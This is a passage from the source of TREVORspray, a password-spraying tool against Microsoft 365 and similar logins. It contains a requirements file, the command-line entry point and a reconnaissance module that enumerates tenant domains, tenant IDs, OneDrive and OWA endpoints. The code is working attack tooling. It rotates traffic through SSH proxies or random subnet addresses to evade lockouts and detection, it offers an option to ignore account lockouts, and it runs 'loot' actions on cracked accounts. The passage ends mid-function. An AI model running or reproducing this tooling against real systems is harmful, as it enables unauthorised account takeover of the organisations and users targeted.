--hash=sha256:9393a05b126a7e187f3e38758255e0edf948a65b22c377414002d488221fdaa2 \ 131 | --hash=sha256:50d3dba341f1e583265c1a808e897b4159208d814ab07530202b6036a4d86da5 \ 132 | --hash=sha256:44f552e0da3c8ee3c28e2eb82b0b784200631687fc6a71277ea8ab0828780e7d \ 133 | --hash=sha256:e662c6266e3a275bdcb6bb049edc7cd77d0b0f7e119a53101d367c841afc66dc \ 134 | --hash=sha256:4c093c571bc3da9ebcd484e001ba18b8452903cd428c0bc926d9b0141bcb710e \ 135 | --hash=sha256:3e26ad9bc48d610bf6cc76c506b9e5ad9360ed7a945d9be3b5b2c8535a0145e3 \ 136 | --hash=sha256:a5f623aeaa24f71fce3177d7fee875371345eb9102b355b882243e33e04b7175 \ 137 | --hash=sha256:7b5e2acefd33c259c4a2e157119c4373c8773cf6793e225006a1649672ab47a6 \ 138 | --hash=sha256:67fa5f028e8a01e1d7944a9fb616d1d0510d5d38b0c41708310bd1bc45ae89f6 \ 139 | --hash=sha256:b1d381f58fcc3e63fcc0ea4f0a38335163883267f77e4c6e22d7a30877218a0e \ 140 | --hash=sha256:38d9759733aa04fb1697d717bfabbedb21398046bd07734be7cccc3d19ea8675 \ 141 | --hash=sha256:dfd0d464f3d86a1460683cd742306d1138b4e99b79094f4e07e1ca85ee267fe7 \ 142 | --hash=sha256:534e946bce61fd162af02bad7bfd2daec1521b71d27238869c23a672146c34a5 \ 143 | --hash=sha256:6ec829058785d028f467be70cd195cd0aaf1a763e4d09822584ede8c9eaa4b03 \ 144 | --hash=sha256:ade74f5e3a0fd17df5782896ddca7ddb998845a5f7cd4b0be771e1ffc3b9aa5b \ 145 | --hash=sha256:41358bfd24425c1673f184d7c26c6ae91943fe51dfecc3603b5e08187b4bcc55 \ 146 | --hash=sha256:6e56521538f19c4a6690f439fefed551f0b296bd785adc67c1777c348beb943d \ 147 | --hash=sha256:5b0f782f0e03555c55e37d93d7a57454efe7495dab33ba0ccd2dbe25fc50f05d \ 148 | --hash=sha256:490712b91c65988012e866c411a40cc65b595929ececf75eeb4c79fcc3bc80a6 \ 149 | --hash=sha256:34c22eb8c819d59cec4444d9eebe2e38b95d3dcdafe08965853f8799fd71161d \ 150 | --hash=sha256:2a906c3890da6a63224d551c2967413b8790a6357a80bf6b257c9a7978c2c42d \ 151 | --hash=sha256:36b16fecb10246e599f178dd74f313cbdc9f41c56e77d52100d1361eed24f51a \ 152 | --hash=sha256:a5edc58d631170de90e50adc2cc0248083541affef82f8cd93bea458e4d96db8 \ 153 | --hash=sha256:87c1b0496e8c87ec9db5383e30042357b4839b46c2d556abd49ec770ce2ad868 \ 154 | --hash=sha256:0a5f0e4747f31cff87d1eb32a6000bde1e603107f632ef4666be0dc065889c7a \ 155 | --hash=sha256:bf6005708fc2e2c89a083f258b97709559a95f9a7a03e59f805dd23c93bc3986 \ 156 | --hash=sha256:fc15874816b9320581133ddc2096b644582ab870cf6a6ed63684433e7af4b0d3 \ 157 | --hash=sha256:0b5e96e25e70917b28a5391c2ed3ffc6156513d3db0e1476c5253fcd50f7a944 \ 158 | --hash=sha256:ec9027d0beb785a35aa9951d14e06d48cfbf876d8ff67519403a2522b181943b \ 159 | --hash=sha256:9fbc0dee7ff5f15c4428775e6fa3ed20003140560ffa22b88326669d53b3c0f4 \ 160 | --hash=sha256:1104a8d47967a414a436007c52f533e933e5d52574cab407b1e49a4e9b5ddbd1 \ 161 | --hash=sha256:fc9fb11b65e7bc49f7f75aaba1b700f7181d95d4e151cf2f24d51bfd14410b77 \ 162 | --hash=sha256:317bd63870b4d875af3c1be1b19202de34c32623609ec803b81c99193a788c1e \ 163 | --hash=sha256:610807cea990fd545b1559466971649e69302c8a9472cefe1d6d48a1dee97440 \ 164 | --hash=sha256:09b738360af8cb2da275998a8bf79517a71225b0de41ab47339c2beebfff025f \ 165 | --hash=sha256:6a2ab9d089324d77bb81745b01f4aeffe4094306d939e92ba5e71e9a6b99b71e \ 166 | --hash=sha256:eed394099a7792834f0cb4a8f615319152b9d801444c1c9e1b1a2c36d2239f9e \ 167 | --hash=sha256:735e3b4ce9c0616e85f302f109bdc6e425ba1670a73f962c9f6b98a6d51b77c9 \ 168 | --hash=sha256:772057fba283c095db8c8ecde4634717a35c47061d24f889468dc67190327bcd \ 169 | --hash=sha256:13dbb5c7e8f3b6a2cf6e10b0948cacb2f4c9eb05029fe31c60592d08ac63180d \ 170 | --hash=sha256:718d7208b9c2d86aaf0294d9381a6acb0158b5ff0f3515902751404e318e02c9 \ 171 | --hash=sha256:5bee1b0cbfdb87686a7fb0e46f1d8bd34d52d6932c0723a86de1cc532b1aa489 \ 172 | --hash=sha256:e410cf3a2272d0a85526d700782a2fa92c1e304fdcc519ba74ac80b8297adf36 \ 173 | --hash=sha256:585ea241ee4961dc18a95e2f5581dbc26285fcf330e007459688096f76be8c42 \ 174 | --hash=sha256:a555e06566c6dc167fbcd0ad507ff05fd9328502aefc963cb0a0547cfe7f00db \ 175 | --hash=sha256:adaab25be351fff0d8a691c4f09153647804d09a87a4e4ea2c3f9fe9e8651851 \ 176 | --hash=sha256:82d16a64236970cb93c8d63ad18c5b9f138a704331e4b916b2737ddfad14e0c4 \ 177 | --hash=sha256:59e7da839a1238807226f7143c68a479dee09244d1b3cf8c134f2fce777d12d0 \ 178 | --hash=sha256:a1bbc4efa99ed1310b5009ce7f3a1784698082ed2c1ef3895332f5df9b3b92c2 \ 179 | --hash=sha256:0607ff0988ad7e173e5ddf7bf55ee65534bd18a5461183c33e8e41a59e89edf4 \ 180 | --hash=sha256:6c198bfc169419c09b85ab10cb0f572744e686f40d1e7f4ed09061284fc1303f \ 181 | --hash=sha256:a58d78653ae422df6837dd4ca0036610b8cb4962b5cfdbd337b7b24de9e5f98a \ 182 | --hash=sha256:e18281a7d80d76b66a9f9e68a98cf7e1d153182772400d9a9ce855264d7d0ce7 \ 183 | --hash=sha256:8e54945dd2eeb50925500957c7c579df3cd07c29db7810b83cf30495d79af267 \ 184 | --hash=sha256:447d5009d6b5447b2f237395d0018901dcc673f7d9f82ba26c1b9f9c3b444b60 \ 185 | --hash=sha256:a1613838aa6b89af4ba10a0f3a972836128801ed008078f8c1244e65958f1b24 186 | ntlm-auth==1.5.0; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.6" \ 187 | --hash=sha256:c9667d361dc09f6b3750283d503c689070ff7d89f2f6ff0d38088d5436ff8543 \ 188 | --hash=sha256:f1527c581dbf149349134fc2d789d50af2a400e193206956fa0ab456ccc5a8ba 189 | oauthlib==3.2.2; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.6" \ 190 | --hash=sha256:6db33440354787f9b7f3a6dbd4febf5d0f93758354060e802f6c06cb493022fe \ 191 | --hash=sha256:23a8208d75b902797ea29fd31fa80a15ed9dc2c6c16fe73f5d346f83f6fa27a2 192 | pycparser==2.21; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.6" \ 193 | --hash=sha256:8ee45429555515e1f6b185e78100aea234072576aa43ab53aefcae078162fca9 \ 194 | --hash=sha256:e644fdec12f7872f86c58ff790da456218b10f863970249516d60a5eaca77206 195 | pygments==2.15.0; python_version >= "3.5" \ 196 | --hash=sha256:44238f1b60a76d78fc8ca0528ee429702aae011c265fe6a8dd8b63049ae41c65 \ 197 | --hash=sha256:4e426f72023d88d03b2fa258de560726ce890ff3b630f88c21cbb8b2503b8c6a 198 | pysocks==1.7.1; (python_version >= "2.7" and python_full_version < "3.0.0") or (python_full_version >= "3.4.0") \ 199 | --hash=sha256:08e69f092cc6dbe92a0fdd16eeb9b9ffbc13cadfe5ca4c7bd92ffb078b293299 \ 200 | --hash=sha256:2725bd0a9925919b9b51739eea5f9e2bae91e83288108a9ad338b2e3a4435ee5 \ 201 | --hash=sha256:3f8804571ebe159c380ac6de37643bb4685970655d3bba243530d6558b799aa0 202 | pytz-deprecation-shim==0.1.0.post0; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version >= "3.6" \ 203 | --hash=sha256:8314c9692a636c8eb3bda879b9f119e350e93223ae83e70e80c31675a0fdc1a6 \ 204 | --hash=sha256:af097bae1b616dde5c5744441e2ddc69e74dfdcb0c263129610d85b87445a59d 205 | requests-file==1.5.1; python_version >= "3.6" \ 206 | --hash=sha256:07d74208d3389d01c38ab89ef403af0cfec63957d53a0081d8eca738d0247d8e \ 207 | --hash=sha256:dfe5dae75c12481f68ba353183c53a65e6044c923e64c24b2209f6c7570ca953 208 | requests-ntlm==1.1.0; python_version >= "3.6" \ 209 | --hash=sha256:1eb43d1026b64d431a8e0f1e8a8c8119ac698e72e9b95102018214411a8463ea \ 210 | --hash=sha256:9189c92e8c61ae91402a64b972c4802b2457ce6a799d658256ebf084d5c7eb71 211 | requests-oauthlib==1.3.1; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.4.0" and python_version >= "3.6" \ 212 | --hash=sha256:75beac4a47881eeb94d5ea5d6ad31ef88856affe2332b9aafb52c6452ccf0d7a \ 213 | --hash=sha256:2577c501a2fb8d05a304c09d090d6e47c306fef15809d102b327cf8364bddab5 214 | requests==2.31.0; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version >= "3.6" \ 215 | --hash=sha256:f22fa1e554c9ddfd16e6e41ac79759e17be9e492b3587efa038054674760e72d \ 216 | --hash=sha256:68d7c56fd5a8999887728ef304a6d12edc7be74f1cfa47714fc8b414525c9a61 217 | sh==1.14.2 \ 218 | --hash=sha256:4921ac9c1a77ec8084bdfaf152fe14138e2b3557cc740002c1a97076321fce8a \ 219 | --hash=sha256:9d7bd0334d494b2a4609fe521b2107438cdb21c0e469ffeeb191489883d6fe0d 220 | six==1.16.0; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.3.0" and python_version >= "3.6" \ 221 | --hash=sha256:8abb2f1d86890a2dfb989f9a77cfcfd3e47c2a354b01111771326f8aa26e0254 \ 222 | --hash=sha256:1e61c37477a1626458e36f7b1d82aa5c9b094fa4802892072e49de9c60c4c926 223 | soupsieve==2.3.1; python_version >= "3.6" and python_full_version > "3.0.0" \ 224 | --hash=sha256:1a3cca2617c6b38c0343ed661b1fa5de5637f257d4fe22bd9f1338010a1efefb \ 225 | --hash=sha256:b8d49b1cd4f037c7082a9683dfa1801aa2597fb11c3a1155b7a5b94829b4f1f9 226 | tldextract==3.1.2; python_version >= "3.6" \ 227 | --hash=sha256:f55e05f6bf4cc952a87d13594386d32ad2dd265630a8bdfc3df03bd60425c6b0 \ 228 | --hash=sha256:d2034c3558651f7d8fdadea83fb681050b2d662dc67a00d950326dc902029444 229 | trevorproxy==1.0.3; python_version >= "3.6" and python_version < "4.0" \ 230 | --hash=sha256:f560a35216029187d047f03f04f631915e290f0a417e8ce8d3dfd88286663a59 \ 231 | --hash=sha256:15ed01a5b5f04a4605f5bb14f96da3821e1ae632bb79f43a26d8a3cb88cfdde9 232 | tzdata==2021.5; platform_system == "Windows" and python_version >= "3.6" and (python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version >= "3.6") \ 233 | --hash=sha256:3eee491e22ebfe1e5cfcc97a4137cd70f092ce59144d81f8924a844de05ba8f5 \ 234 | --hash=sha256:68dbe41afd01b867894bbdfd54fa03f468cfa4f0086bfb4adcd8de8f24f3ee21 235 | tzlocal==4.1; python_version >= "3.6" \ 236 | --hash=sha256:28ba8d9fcb6c9a782d6e0078b4f6627af1ea26aeaa32b4eab5324abc7df4149f \ 237 | --hash=sha256:0f28015ac68a5c067210400a9197fc5d36ba9bc3f8eaf1da3cbd59acdfed9e09 238 | urllib3==1.26.18; python_version >= "3.6" and python_full_version < "3.0.0" or python_full_version >= "3.6.0" and python_version < "4" and python_version >= "3.6" \ 239 | --hash=sha256:000ca7f471a233c2251c6c7023ee85305721bfdf18621ebff4fd17a8653427ed \ 240 | --hash=sha256:0e7c33d9a63e7ddfcb86780aac87befc2fbddf46c58dbb487e0855f7ceec283c 241 | zipp==3.6.0; python_version < "3.7" and python_version >= "3.6" \ 242 | --hash=sha256:9fe5ea21568a0a70e50f273397638d39b03353731e6cbbb3fd8502a33fec40bc \ 243 | --hash=sha256:71c644c5369f4a6e07636f0aa966270449561fcea2e3d6747b8d23efaa9d7832 244 | -------------------------------------------------------------------------------- /trevorspray/__init__.py: -------------------------------------------------------------------------------- 1 | from .lib import logger 2 | -------------------------------------------------------------------------------- /trevorspray/cli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # by TheTechromancer 4 | 5 | import os 6 | import sys 7 | import logging 8 | import argparse 9 | import requests 10 | import ipaddress 11 | from shutil import which 12 | from pathlib import Path 13 | from getpass import getpass 14 | 15 | from urllib3.exceptions import InsecureRequestWarning 16 | 17 | # Suppress only the single warning from urllib3 needed. 18 | requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) 19 | 20 | package_path = Path(__file__).resolve().parent 21 | sys.path.append(str(package_path)) 22 | 23 | import lib.util as util 24 | from .lib import sprayers 25 | from .lib.trevor import TrevorSpray 26 | from .lib.errors import TREVORSprayError 27 | 28 | log = logging.getLogger("trevorspray.cli") 29 | 30 | 31 | def main(): 32 | parser = argparse.ArgumentParser( 33 | description="A password sprayer with the option to load-balance traffic through SSH hosts" 34 | ) 35 | 36 | basic_group = parser.add_argument_group(title="basic arguments") 37 | basic_group.add_argument( 38 | "-m", 39 | "--module", 40 | choices=sprayers.module_choices, 41 | default="msol", 42 | help="Spray module to use (default: msol)", 43 | ) 44 | basic_group.add_argument( 45 | "-up", 46 | "--userpass", 47 | nargs="+", 48 | default=[], 49 | help="file(s) containing username and password pairs (format: 'username:password')" 50 | ) 51 | basic_group.add_argument( 52 | "-u", 53 | "--users", 54 | nargs="+", 55 | default=[], 56 | help="Usernames(s) and/or file(s) containing usernames", 57 | ) 58 | basic_group.add_argument( 59 | "-p", 60 | "--passwords", 61 | nargs="+", 62 | default=[], 63 | help="Password(s) and/or file(s) containing passwords", 64 | ) 65 | basic_group.add_argument("--url", help="The URL to spray against") 66 | basic_group.add_argument( 67 | "-r", 68 | "--recon", 69 | "--enumerate", 70 | metavar="DOMAIN", 71 | help="Retrieves MX records and info related to authentication, email, Azure, Microsoft 365, etc. If --usernames are specified, this also enables username enumeration.", 72 | ) 73 | basic_group.add_argument( 74 | "--export-tenants", 75 | metavar="FILE", 76 | help="Export all discovered tenant domains to a file", 77 | ) 78 | 79 | advanced_group = parser.add_argument_group( 80 | title="advanced arguments", 81 | description="Round-robin traffic through remote systems via SSH (overrides --threads)", 82 | ) 83 | advanced_group.add_argument( 84 | "-t", 85 | "--threads", 86 | type=int, 87 | default=1, 88 | help="Max number of concurrent requests (default: 1)", 89 | ) 90 | advanced_group.add_argument( 91 | "-f", 92 | "--force", 93 | action="store_true", 94 | help="Try all usernames/passwords even if they've been tried before", 95 | ) 96 | advanced_group.add_argument( 97 | "-d", 98 | "--delay", 99 | type=float, 100 | default=0, 101 | help="Sleep for this many seconds between requests", 102 | ) 103 | advanced_group.add_argument( 104 | "-ld", 105 | "--lockout-delay", 106 | type=float, 107 | default=0, 108 | help="Sleep for this many additional seconds when a lockout is encountered", 109 | ) 110 | advanced_group.add_argument( 111 | "-j", 112 | "--jitter", 113 | type=float, 114 | default=0, 115 | help="Add a random delay of up to this many seconds between requests", 116 | ) 117 | advanced_group.add_argument( 118 | "-e", 119 | "--exit-on-success", 120 | action="store_true", 121 | help="Stop spray when a valid cred is found", 122 | ) 123 | advanced_group.add_argument( 124 | "-nl", 125 | "--no-loot", 126 | action="store_true", 127 | help="Don't execute loot activites for valid accounts", 128 | ) 129 | advanced_group.add_argument( 130 | "--ignore-lockouts", 131 | action="store_true", 132 | help="Forces the spray to continue and not stop when multiple account lockouts are detected", 133 | ) 134 | advanced_group.add_argument( 135 | "--timeout", 136 | type=float, 137 | default=10, 138 | help="Connection timeout in seconds (default: 10)", 139 | ) 140 | advanced_group.add_argument( 141 | "--random-useragent", 142 | action="store_true", 143 | help="Add a random value to the User-Agent for each request", 144 | ) 145 | advanced_group.add_argument( 146 | "-6", "--prefer-ipv6", action="store_true", help="Prefer IPv6 over IPv4" 147 | ) 148 | advanced_group.add_argument( 149 | "--proxy", help="Proxy to use for HTTP and HTTPS requests" 150 | ) 151 | advanced_group.add_argument( 152 | "-v", 153 | "--verbose", 154 | "--debug", 155 | action="store_true", 156 | help="Show which proxy is being used for each request", 157 | ) 158 | 159 | ssh_group = parser.add_argument_group( 160 | title="SSH Proxy", 161 | description="Round-robin traffic through remote systems via SSH (overrides --threads)", 162 | ) 163 | ssh_group.add_argument( 164 | "-s", 165 | "--ssh", 166 | default=[], 167 | metavar="USER@SERVER", 168 | nargs="+", 169 | help="Round-robin load-balance through these SSH hosts (user@host) NOTE: Current IP address is also used once per round", 170 | ) 171 | ssh_group.add_argument( 172 | "-i", "-k", "--key", help="Use this SSH key when connecting to proxy hosts" 173 | ) 174 | ssh_group.add_argument( 175 | "-kp", "--key-pass", action="store_true", help=argparse.SUPPRESS 176 | ) 177 | ssh_group.add_argument( 178 | "-b", 179 | "--base-port", 180 | default=33482, 181 | type=int, 182 | help="Base listening port to use for SOCKS proxies", 183 | ) 184 | ssh_group.add_argument( 185 | "-n", 186 | "--no-current-ip", 187 | action="store_true", 188 | help="Don't spray from the current IP, only use SSH proxies", 189 | ) 190 | 191 | subnet_group = parser.add_argument_group( 192 | title="Subnet Proxy", 193 | description="Send traffic from random addresses within IP subnet", 194 | ) 195 | subnet_group.add_argument("--subnet", help="Subnet to send packets from") 196 | subnet_group.add_argument("--interface", help="Interface to send packets on") 197 | 198 | try: 199 | log.info(f'Command: {" ".join(sys.argv)}') 200 | 201 | options = parser.parse_args() 202 | 203 | conflicting_options = [options.subnet, options.ssh, options.proxy] 204 | if conflicting_options.count(None) + conflicting_options.count([]) < 2: 205 | log.error("Cannot specify --ssh, --subnet, or --proxy together") 206 | sys.exit(1) 207 | 208 | if options.ssh and options.threads: 209 | log.warning( 210 | "When --ssh is specified, one thread is spawned per SSH session. Ignoring --threads" 211 | ) 212 | 213 | if options.proxy and options.ssh: 214 | log.error( 215 | "Cannot specify --proxy with --ssh because the SSH hosts are already used as proxies" 216 | ) 217 | sys.exit(1) 218 | 219 | if options.subnet: 220 | network = ipaddress.ip_network(options.subnet, strict=False) 221 | if network.version == 6: 222 | log.info("IPv6 subnet specified, assuming --prefer-ipv6") 223 | options.prefer_ipv6 = True 224 | 225 | # inform user of --delay/--jitter configuration 226 | avg_delay = options.delay + (options.jitter / 2) 227 | per_minute = (60 / (max(1, avg_delay))) * max(1, len(options.ssh)) 228 | per_ip = 60 / max(1, avg_delay) 229 | jitter_str = "~" if options.jitter else "" 230 | delays = [] 231 | if options.delay: 232 | delays.append(f"--delay {options.delay}") 233 | if options.jitter: 234 | delays.append(f"--jitter {options.jitter}") 235 | delays = " + ".join(delays) 236 | if options.ssh and (options.delay or options.lockout_delay or options.jitter): 237 | log.warning("When proxying through --ssh, jitter/delay is *per IP*") 238 | log.warning( 239 | f"{len(options.ssh)}x SSH hosts + {delays} == {jitter_str}{per_minute:.1f} attempts per minute == {jitter_str}{per_ip:.1f} per minute per IP" 240 | ) 241 | elif options.delay or options.jitter: 242 | log.info(f"{delays} == {jitter_str}{per_minute:.1f} attempts per minute") 243 | 244 | # Monkey patch to prioritize IPv4 or IPv6 245 | import socket 246 | 247 | old_getaddrinfo = socket.getaddrinfo 248 | if options.prefer_ipv6: 249 | 250 | def new_getaddrinfo(*args, **kwargs): 251 | addrs = old_getaddrinfo(*args, **kwargs) 252 | addrs.sort(key=lambda x: x[0], reverse=True) 253 | return addrs 254 | 255 | else: 256 | 257 | def new_getaddrinfo(*args, **kwargs): 258 | addrs = old_getaddrinfo(*args, **kwargs) 259 | addrs.sort(key=lambda x: x[0]) 260 | return addrs 261 | 262 | socket.getaddrinfo = new_getaddrinfo 263 | 264 | if options.proxy: 265 | os.environ["HTTP_PROXY"] = options.proxy 266 | os.environ["HTTPS_PROXY"] = options.proxy 267 | 268 | trevorproxy_logger = logging.getLogger("trevorproxy") 269 | trevorspray_logger = logging.getLogger("trevorspray") 270 | trevorproxy_logger.handlers = trevorspray_logger.handlers 271 | 272 | if not (options.users and options.passwords) and not options.userpass and not options.recon: 273 | log.error("Please specify --users and --passwords, --userpass, or --recon") 274 | sys.exit(2) 275 | if options.userpass: 276 | options.userpass = list(util.files_to_list(options.userpass).keys()) 277 | if options.users: 278 | options.users = list( 279 | util.files_to_list(options.users, lowercase=True).keys() 280 | ) 281 | if options.passwords: 282 | options.passwords = list(util.files_to_list(options.passwords).keys()) 283 | 284 | if options.no_current_ip and not options.ssh: 285 | log.error("Cannot specify --no-current-ip without giving --ssh hosts") 286 | sys.exit(1) 287 | 288 | if options.ssh and util.ssh_key_encrypted(options.key): 289 | options.key_pass = getpass("SSH key password (press enter if none): ") 290 | 291 | if options.subnet: 292 | # make sure executables exist 293 | for binary in ["iptables"]: 294 | if not which(binary): 295 | log.error(f"Please install {binary}") 296 | sys.exit(1) 297 | 298 | sprayer = TrevorSpray(options) 299 | sprayer.go() 300 | 301 | except argparse.ArgumentError as e: 302 | log.error(e) 303 | log.error("Check your syntax") 304 | sys.exit(2) 305 | 306 | except TREVORSprayError as e: 307 | log.error(str(e)) 308 | 309 | except Exception as e: 310 | if options.verbose: 311 | import traceback 312 | 313 | log.error(traceback.format_exc()) 314 | else: 315 | log.error(f"Encountered error (-v to debug): {e}") 316 | 317 | except KeyboardInterrupt: 318 | log.error("Interrupted") 319 | sys.exit(1) 320 | 321 | 322 | if __name__ == "__main__": 323 | main() 324 | -------------------------------------------------------------------------------- /trevorspray/lib/discover.py: -------------------------------------------------------------------------------- 1 | import re 2 | import logging 3 | import dns.resolver 4 | from .util import * 5 | from contextlib import suppress 6 | from urllib.parse import urlparse, urlunparse 7 | from pathlib import Path 8 | 9 | log = logging.getLogger("trevorspray.discovery") 10 | 11 | suggestion_regexes = ( 12 | re.compile(r"[^\d\W_-]+", re.I), 13 | re.compile(r"[^\W_-]+", re.I), 14 | re.compile(r"[^\d\W]+", re.I), 15 | re.compile(r"[^\W]+", re.I), 16 | ) 17 | 18 | 19 | class DomainDiscovery: 20 | def __init__(self, trevor, domain): 21 | self.trevor = trevor 22 | self.domain = "".join(str(domain).split()).strip("/") 23 | 24 | self._mxrecords = None 25 | self._txtrecords = None 26 | self._autodiscover = None 27 | self._userrealm = None 28 | self._openid_configuration = None 29 | self._msoldomains = None 30 | self._owa = None 31 | self._onedrive_tenantnames = None 32 | self.tenantnames = [] 33 | 34 | def recon(self): 35 | self.printjson(self.mxrecords()) 36 | self.printjson(self.txtrecords()) 37 | 38 | openid_configuration = self.openid_configuration() 39 | self.printjson(openid_configuration) 40 | authorization_endpoint = openid_configuration.get("authorization_endpoint", "") 41 | uuid_regex = re.compile( 42 | r"[0-9a-f]{8}\b-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-\b[0-9a-f]{12}" 43 | ) 44 | matches = uuid_regex.findall(authorization_endpoint) 45 | if matches: 46 | log.success(f'Tenant ID: "{matches[0]}"') 47 | 48 | self.printjson(self.getuserrealm()) 49 | self.printjson(self.autodiscover()) 50 | self.owa() 51 | 52 | msoldomains = self.msoldomains() 53 | if msoldomains: 54 | self.printjson(msoldomains) 55 | loot_dir = self.trevor.home / "loot" 56 | loot_file = loot_dir / f"recon_{self.domain}_other_tenant_domains.txt" 57 | update_file(loot_file, msoldomains) 58 | log.info(f"Wrote {len(msoldomains):,} domains to {loot_file}") 59 | 60 | if self.trevor.options.export_tenants: 61 | filtered_domains = [d for d in msoldomains if 'onmicrosoft.com' not in d.lower()] 62 | export_file = Path(self.trevor.options.export_tenants) 63 | export_file.parent.mkdir(parents=True, exist_ok=True) 64 | with open(export_file, 'w') as f: 65 | for domain in filtered_domains: 66 | f.write(f"{domain}\n") 67 | log.success(f"Exported {len(filtered_domains)} domains to {export_file}") 68 | 69 | self.onedrive_tenantnames() 70 | 71 | @staticmethod 72 | def printjson(j): 73 | if j: 74 | log.success(f"\n{highlight_json(j)}") 75 | else: 76 | log.warn("No results.") 77 | 78 | def openid_configuration(self): 79 | if self._openid_configuration is None: 80 | url = f"https://login.windows.net/{self.domain}/.well-known/openid-configuration" 81 | log.info(f"Checking OpenID configuration at {url}") 82 | log.info(f'NOTE: You can spray against "token_endpoint" with --url!!') 83 | 84 | content = dict() 85 | with suppress(Exception): 86 | content = request(url=url).json() 87 | self._openid_configuration = content 88 | 89 | return self._openid_configuration 90 | 91 | def getuserrealm(self): 92 | if self._userrealm is None: 93 | url = f"https://login.microsoftonline.com/getuserrealm.srf?login=test@{self.domain}" 94 | log.info(f"Checking user realm at {url}") 95 | 96 | content = dict() 97 | with suppress(Exception): 98 | content = request(url=url).json() 99 | self._userrealm = content 100 | 101 | return self._userrealm 102 | 103 | def mxrecords(self): 104 | if self._mxrecords is None: 105 | log.info(f"Checking MX records for {self.domain}") 106 | mx_records = [] 107 | with suppress(Exception): 108 | for x in dns.resolver.query(self.domain, "MX"): 109 | mx_records.append(x.to_text()) 110 | self._mxrecords = mx_records 111 | 112 | return self._mxrecords 113 | 114 | def txtrecords(self): 115 | if self._txtrecords is None: 116 | log.info(f"Checking TXT records for {self.domain}") 117 | txt_records = [] 118 | with suppress(Exception): 119 | for x in dns.resolver.query(self.domain, "TXT"): 120 | txt_records.append(x.to_text()) 121 | self._txtrecords = txt_records 122 | 123 | return self._txtrecords 124 | 125 | def autodiscover(self): 126 | if self._autodiscover is None: 127 | url = f"https://outlook.office365.com/autodiscover/autodiscover.json/v1.0/test@{self.domain}?Protocol=Autodiscoverv1" 128 | log.info(f"Checking autodiscover info at {url}") 129 | 130 | content = dict() 131 | with suppress(Exception): 132 | content = request(url=url, retries=0).json() 133 | self._autodiscover = content 134 | 135 | return self._autodiscover 136 | 137 | def msoldomains(self): 138 | if self._msoldomains is None: 139 | url = "https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc" 140 | 141 | data = f""" 142 | 143 | 144 | http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation 145 | https://autodiscover-s.outlook.com/autodiscover/autodiscover.svc 146 | 147 | http://www.w3.org/2005/08/addressing/anonymous 148 | 149 | 150 | 151 | 152 | 153 | {self.domain} 154 | 155 | 156 | 157 | """ 158 | 159 | headers = { 160 | "Content-Type": "text/xml; charset=utf-8", 161 | "SOAPAction": '"http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetFederationInformation"', 162 | "User-Agent": "AutodiscoverClient", 163 | "Accept-Encoding": "identity", 164 | } 165 | 166 | log.info(f"Retrieving tenant domains at {url}") 167 | 168 | response = request("POST", url, headers=headers, data=data) 169 | 170 | r = re.compile(r"([^<>/]*)", re.I) 171 | domains = list(set(r.findall(response.text))) 172 | 173 | for domain in domains: 174 | # Check if this is "the initial" domain (tenantname) 175 | if domain.lower().endswith(".onmicrosoft.com"): 176 | self.tenantnames.append(domain.split(".")[0]) 177 | 178 | if self.tenantnames: 179 | log.success(f'Found tenant names: "{", ".join(self.tenantnames)}"') 180 | 181 | if domains: 182 | log.success(f"Found {len(domains):,} domains under tenant!") 183 | 184 | self._msoldomains = domains 185 | 186 | return self._msoldomains 187 | 188 | def onedrive_tenantnames(self): 189 | if self._onedrive_tenantnames is None: 190 | self.msoldomains() 191 | 192 | if not self.tenantnames: 193 | return [] 194 | 195 | self._onedrive_tenantnames = [] 196 | 197 | log.info(f"Checking OneDrive instances") 198 | 199 | tenantname_override = self.trevor.runtimeparams.get("tenantname", "") 200 | for tenantname in ( 201 | [tenantname_override] if tenantname_override else self.tenantnames 202 | ): 203 | url = f'https://{tenantname}-my.sharepoint.com/personal/TESTUSER_{"_".join(self.domain.split("."))}/_layouts/15/onedrive.aspx' 204 | 205 | status_code = 0 206 | with suppress(Exception): 207 | status_code = request(url=url, method="HEAD", retries=0).status_code 208 | 209 | if status_code: 210 | log.success(f'Tenant "{tenantname}" confirmed via OneDrive: {url}') 211 | self._onedrive_tenantnames.append(tenantname) 212 | else: 213 | log.warning( 214 | f'Hosted OneDrive instance for "{tenantname}" does not exist' 215 | ) 216 | self._onedrive_tenantnames = list(set(self._onedrive_tenantnames)) 217 | 218 | return self._onedrive_tenantnames 219 | 220 | def owa(self): 221 | if self._owa is None: 222 | log.info("Attempting to discover OWA instances") 223 | 224 | owas = set() 225 | 226 | schemes = ["http://", "https://"] 227 | 228 | urls = [ 229 | f"autodiscover.{self.domain}/autodiscover/autodiscover.xml", 230 | f"exchange.{self.domain}/autodiscover/autodiscover.xml", 231 | f"webmail.{self.domain}/autodiscover/autodiscover.xml", 232 | f"email.{self.domain}/autodiscover/autodiscover.xml", 233 | f"mail.{self.domain}/autodiscover/autodiscover.xml", 234 | f"owa.{self.domain}/autodiscover/autodiscover.xml", 235 | f"mx.{self.domain}/autodiscover/autodiscover.xml", 236 | f"{self.domain}/autodiscover/autodiscover.xml", 237 | ] 238 | urls += [ 239 | f'{mx.split()[-1].strip(".")}/autodiscover/autodiscover.xml' 240 | for mx in self.mxrecords() 241 | ] 242 | if self.trevor.options.url: 243 | parsed_url = urlparse(self.trevor.options.url) 244 | base_url = urlunparse(parsed_url._replace(query="", path="")) 245 | urls += [f"{base_url}/autodiscover/autodiscover.xml"] 246 | urls = list(set(urls)) 247 | 248 | headers = {"Content-Type": "text/xml"} 249 | 250 | with ThreadPool(maxthreads=10) as pool: 251 | pool.start() 252 | for scheme in schemes: 253 | for u in urls: 254 | url = f"{scheme}{u}" 255 